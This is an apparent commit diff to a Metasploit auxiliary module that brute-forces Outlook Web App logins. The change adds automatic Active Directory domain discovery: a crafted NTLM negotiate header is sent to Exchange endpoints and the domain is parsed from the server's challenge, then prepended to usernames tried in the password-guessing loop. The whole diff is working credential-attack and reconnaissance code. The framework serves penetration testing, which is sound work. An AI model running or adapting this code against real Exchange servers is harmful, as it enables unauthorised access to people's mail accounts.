4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'rex/proto/ntlm/message'
7
8
8
9
class Metasploit3 < Msf ::Auxiliary
9
10
@@ -23,7 +24,8 @@ def initialize
23
24
'Vitor Moreira' ,
24
25
'Spencer McIntyre' ,
25
26
'SecureState R&D Team' ,
26
- 'sinn3r'
27
+ 'sinn3r' ,
28
+ 'Brandon Knight'
27
29
] ,
28
30
'License' => MSF_LICENSE ,
29
31
'Actions' =>
@@ -67,6 +69,7 @@ def initialize
67
69
register_advanced_options (
68
70
[
69
71
OptString . new ( 'AD_DOMAIN' , [ false , "Optional AD domain to prepend to usernames" , '' ] ) ,
72
+ OptBool . new ( 'ENUM_DOMAIN' , [ true , "Automatically enumerate AD domain using NTLM authentication" , false ] ) ,
70
73
OptBool . new ( 'SSL' , [ true , "Negotiate SSL for outgoing connections" , true ] )
71
74
] , self . class )
72
75
@@ -111,18 +114,37 @@ def run
111
114
inbox_path = action . opts [ 'InboxPath' ]
112
115
login_check = action . opts [ 'InboxCheck' ]
113
116
117
+ domain = nil
118
+
119
+ if datastore [ 'AD_DOMAIN' ] and not datastore [ 'AD_DOMAIN' ] . empty?
120
+ domain = datastore [ 'AD_DOMAIN' ]
121
+ end
122
+
123
+ if ( ( datastore [ 'AD_DOMAIN' ] . nil? or datastore [ 'AD_DOMAIN' ] == '' ) and datastore [ 'ENUM_DOMAIN' ] )
124
+ domain = get_ad_domain
125
+ end
126
+
114
127
begin
115
128
each_user_pass do |user , pass |
116
129
vprint_status ( "#{ msg } Trying #{ user } : #{ pass } " )
117
- try_user_pass ( user , pass , auth_path , inbox_path , login_check , vhost )
130
+ try_user_pass ( { " user" => user , "domain" => domain , " pass" => pass , " auth_path" => auth_path , " inbox_path" => inbox_path , " login_check" => login_check , " vhost" => vhost } )
118
131
end
119
132
rescue ::Rex ::ConnectionError , Errno ::ECONNREFUSED
120
133
print_error ( "#{ msg } HTTP Connection Error, Aborting" )
121
134
end
122
135
end
123
136
124
- def try_user_pass ( user , pass , auth_path , inbox_path , login_check , vhost )
125
- user = datastore [ 'AD_DOMAIN' ] + '\\' + user if datastore [ 'AD_DOMAIN' ] != ''
137
+ def try_user_pass ( opts )
138
+ user = opts [ "user" ]
139
+ pass = opts [ "pass" ]
140
+ auth_path = opts [ "auth_path" ]
141
+ inbox_path = opts [ "inbox_path" ]
142
+ login_check = opts [ "login_check" ]
143
+ vhost = opts [ "vhost" ]
144
+ domain = opts [ "domain" ]
145
+
146
+ user = domain + '\\' + user if domain
147
+
126
148
headers = {
127
149
'Cookie' => 'PBack=0'
128
150
}
@@ -140,7 +162,7 @@ def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
140
162
'method' => 'POST' ,
141
163
'headers' => headers ,
142
164
'data' => data
143
- } , 25 )
165
+ } )
144
166
145
167
rescue ::Rex ::ConnectionError , Errno ::ECONNREFUSED , Errno ::ETIMEDOUT
146
168
print_error ( "#{ msg } HTTP Connection Failed, Aborting" )
@@ -204,8 +226,50 @@ def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
204
226
end
205
227
end
206
228
229
+ def get_ad_domain
230
+ urls = [ "aspnet_client" ,
231
+ "Autodiscover" ,
232
+ "ecp" ,
233
+ "EWS" ,
234
+ "Microsoft-Server-ActiveSync" ,
235
+ "OAB" ,
236
+ "PowerShell" ,
237
+ "Rpc" ]
238
+
239
+ domain = nil
240
+
241
+ urls . each do |url |
242
+ begin
243
+ res = send_request_cgi ( {
244
+ 'encode' => true ,
245
+ 'uri' => "/#{ url } " ,
246
+ 'method' => 'GET' ,
247
+ 'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" }
248
+ } )
249
+ rescue ::Rex ::ConnectionError , Errno ::ECONNREFUSED , Errno ::ETIMEDOUT
250
+ vprint_error ( "#{ msg } HTTP Connection Failed" )
251
+ next
252
+ end
253
+
254
+ if not res
255
+ vprint_error ( "#{ msg } HTTP Connection Timeout" )
256
+ next
257
+ end
258
+
259
+ if res and res . code == 401 and res [ 'WWW-Authenticate' ] . match ( /^NTLM/i )
260
+ hash = res [ 'WWW-Authenticate' ] . split ( 'NTLM ' ) [ 1 ]
261
+ domain = Rex ::Proto ::NTLM ::Message . parse ( Rex ::Text . decode_base64 ( hash ) ) [ :target_name ] . value ( ) . gsub ( /\0 / , '' )
262
+ print_good ( "Found target domain: " + domain )
263
+ return domain
264
+ end
265
+ end
266
+
267
+ return domain
268
+ end
269
+
207
270
def msg
208
271
"#{ vhost } :#{ rport } OWA -"
209
272
end
210
273
211
274
end
275
+
0 commit comments